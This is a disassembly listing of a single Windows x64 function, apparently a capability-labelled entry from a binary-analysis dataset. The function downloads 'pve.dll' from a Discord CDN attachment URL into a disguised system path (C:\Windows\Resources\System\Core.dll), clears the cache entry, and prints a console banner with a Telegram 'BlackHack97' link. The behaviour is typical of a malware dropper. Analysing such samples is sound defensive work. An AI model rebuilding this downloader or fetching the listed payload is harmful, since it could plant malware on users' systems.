Function at 0x140001000
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, str.C:WindowsResourcesSystemCore.dll
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1135998001895182394_1269051068877377556_pve.dll_ex66aea768is66ad55e8hm91c6e2181a93a511fcbb02b0b913861cc6f6437d7ad151787408a63439f8bcf3
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, str.https:__cdn.discordapp.com_attachments_1135998001895182394_1269051068877377556_pve.dll_ex66aea768is66ad55e8hm91c6e2181a93a511fcbb02b0b913861cc6f6437d7ad151787408a63439f8bcf3
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntryA]
lea rdx, str.Russian
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, 0xa
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n
call fcn.140001710
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003408]
call fcn.140001710
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003440]
call fcn.140001710
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n_n
call fcn.140001710
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x32
lea rcx, [rsp + 0x30]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rdx, qword [rbx]
movsxd rcx, dword [rdx + 4]
mov rdx, qword [rax + 8]
add rcx, rbx
call qword [rax]
mov rax, qword [rbx]
mov rcx, rbx
movsxd rdx, dword [rax + 4]
mov byte [rdx + rbx + 0x58], 0x2a
lea rdx, [0x1400033c0]
call fcn.140001710
mov rcx, rax
lea rdx, [0x1400018f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1400034b0]
call fcn.140001710
mov rcx, rax
lea rdx, [0x1400018f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._____________https:__t.me_BlackHack97__________
call fcn.140001710
mov rcx, rax
lea rdx, [0x1400018f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x32
lea rcx, [rsp + 0x30]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rdx, qword [rax + 8]
mov r8, qword [rbx]
movsxd rcx, dword [r8 + 4]
add rcx, rbx
call qword [rax]
mov rax, qword [rbx]
lea rdx, [0x1400033c0]
mov rcx, rbx
movsxd r8, dword [rax + 4]
mov byte [r8 + rbx + 0x58], 0x2a
call fcn.140001710
mov rcx, rax
lea rdx, [0x1400018f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._1.
call fcn.140001710
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._2.
call fcn.140001710
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 9
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001930
mov rcx, rax
lea rdx, [0x140001b00]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 7
mov rcx, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
jmp qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]